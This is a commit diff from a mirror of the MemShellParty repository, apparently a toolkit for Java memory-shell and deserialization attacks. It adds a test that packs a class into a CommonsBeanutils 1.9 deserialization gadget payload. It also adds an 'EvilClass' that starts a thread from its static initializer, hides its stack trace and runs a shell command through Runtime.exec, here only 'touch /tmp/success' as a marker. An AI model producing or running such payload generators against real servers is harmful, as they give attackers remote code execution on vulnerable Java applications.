mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
test: add classes
This commit is contained in:
+21
@@ -0,0 +1,21 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/1/4
|
||||
*/
|
||||
class CommonsBeanutils19PackerTest {
|
||||
|
||||
@Test
|
||||
void test(){
|
||||
byte[] bytes = new ByteBuddy().redefine(EvilClass.class).name("hello.world").make().getBytes();
|
||||
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||
classPackerConfig.setClassBytes(bytes);
|
||||
System.out.println(new CommonsBeanutils19Packer().pack(classPackerConfig));
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/1/4
|
||||
*/
|
||||
public class EvilClass extends Thread implements Runnable {
|
||||
|
||||
static {
|
||||
new EvilClass().start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public StackTraceElement[] getStackTrace() {
|
||||
return new StackTraceElement[0];
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run() {
|
||||
try {
|
||||
Runtime.getRuntime().exec("touch /tmp/success");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user